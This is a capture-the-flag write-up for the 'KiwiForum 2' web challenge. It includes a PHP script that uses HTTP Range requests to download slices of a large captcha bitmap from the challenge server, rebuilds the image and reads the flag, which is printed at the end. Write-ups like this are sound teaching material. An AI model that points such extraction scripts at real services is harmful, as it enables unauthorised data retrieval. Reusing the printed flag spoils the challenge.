KiwiForum 2

Web - 250 Points

That was a nasty bug! But not anymore. Try it this time.

Writeup

Following KiwiForum 1, we have the source code of this challenge, but this time the bug on loader is patched. We were at the Milan Codemotion 2015 on our second day, so we coded this hack while moving to different speakers every hour or so.
Using the header HTTP_RANGE available by the downloader, we wrote a php script to download intervals of the image. Doing so, we played with the function generate_bitmap($width,$height,$bitmap) in the purecaptcha.php file.

<?php
ini_set('max_execution_time', 0);

$width   = 7200;
$height  = 7800;
$rowSize = floor(($width + 31) / 32) * 4;
$size    = $rowSize * $height + 62; //62 metadata size 
#bitmap header
$data    = "BM"; //header
$data .= (pack('V', $size)); //bitmap size , 4 bytes unsigned little endian
$data .= "RRRR";
$data .= (pack('V', 14 + 40 + 8)); //bitmap data start offset , 4 bytes unsigned little endian, 14 forced, 40 header, 8 colors

#info header //42+66 ahead
$data .= pack('V', 40); //bitmap header size (min 40), 4 bytes unsigned little-endian
$data .= (pack('V', $width)); //bitmap width , 4 bytes signed integer
$data .= (pack('V', $height)); //bitmap height , 4 bytes signed integer
$data .= (pack('v', 1)); //number of colored plains , 2 bytes 
$data .= (pack('v', 1)); //color depth , 2 bytes 
$data .= (pack('V', 0)); //compression algorithm , 4 bytes (0=none, RGB)
$data .= (pack('V', 0)); //size of raw data, 0 is fine for no compression , 4 bytes 
$data .= (pack('V', 11808)); //horizontal resolution (dpi), 4 bytes 
$data .= (pack('V', 11808)); //vertical resolution (dpi), 4 bytes 
$data .= (pack('V', 0)); //number of colors in pallette (0 = all), 4 bytes 
$data .= (pack('V', 0)); //number of important colors (0 = all), 4 bytes 

#color palette
$data .= (pack('V', 0)); //first color, black
$data .= (pack('V', 0x00FFFFFF)); //next color, white

//echo strlen($data); //62
$j = 62; //prime 0 righe
for ($i = 900; $i < $size - 62; $i = $i + 9000) //900 is byte length of a row, 9000 = 10 rows
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'http://c51a65.hack.dat.kiwi/web/kiwi-forum2/avatar?id=1');
    
    curl_setopt($ch, CURLOPT_RANGE, $j . '-' . $i);
    echo $j . '-' . $i . "\r\n";
    $j = $i;
    curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    $data .= $result;
    
    for ($k = 0; $k < 100000; ++$k) //100'800 white space (112 lines)
        $data .= pack('C', 0); //whitespace
    $i = $i + 100000;
    $j = $j + 100000;
    
}

$file = "flag_1000000.bmp";
file_put_contents($file, $data);

?>

After a few minutes, here is the result:

Flag

Due to a bug in the script, (my fault!) the first characters in the first two lines are actually at the end. The flag so it becomes: 0390c17ec34f1b4c